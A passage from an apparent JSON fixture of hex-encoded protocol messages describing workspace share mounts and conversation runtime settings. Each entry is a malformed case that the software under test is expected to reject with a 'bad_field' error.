"574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a225372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-thirty-three", + "direction": "down", + "hex": "574d583101010000030000007d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a22616161616161616161616161616161616161616161616161616161616161616161222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-guidance-writable", + "direction": "down", + "hex": "574d58310101000003000000620200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a66616c73652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-memory-read-only", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-outputs-wrong-mount", + "direction": "down", + "hex": "574d58310101000003000000630200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f78222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-nested-mount", + "direction": "down", + "hex": "574d58310101000003000000670200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-outside-folders", + "direction": "down", + "hex": "574d583101010000030000005f0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f7265706f732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-two-memory", + "direction": "down", + "hex": "574d58310101000003000000680200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6d656d6f72792d32222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-unknown-kind", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a2273637261746368227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-extra-key", + "direction": "down", + "hex": "574d583101010000030000006d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473222c22646178223a66616c73657d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-runtime-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-tool-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030312c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-gid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32353030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-nobody", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a36353533342c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-missing", + "direction": "down", + "hex": "574d58310101000004000000650600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-unknown", + "direction": "down", + "hex": "574d58310101000004000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473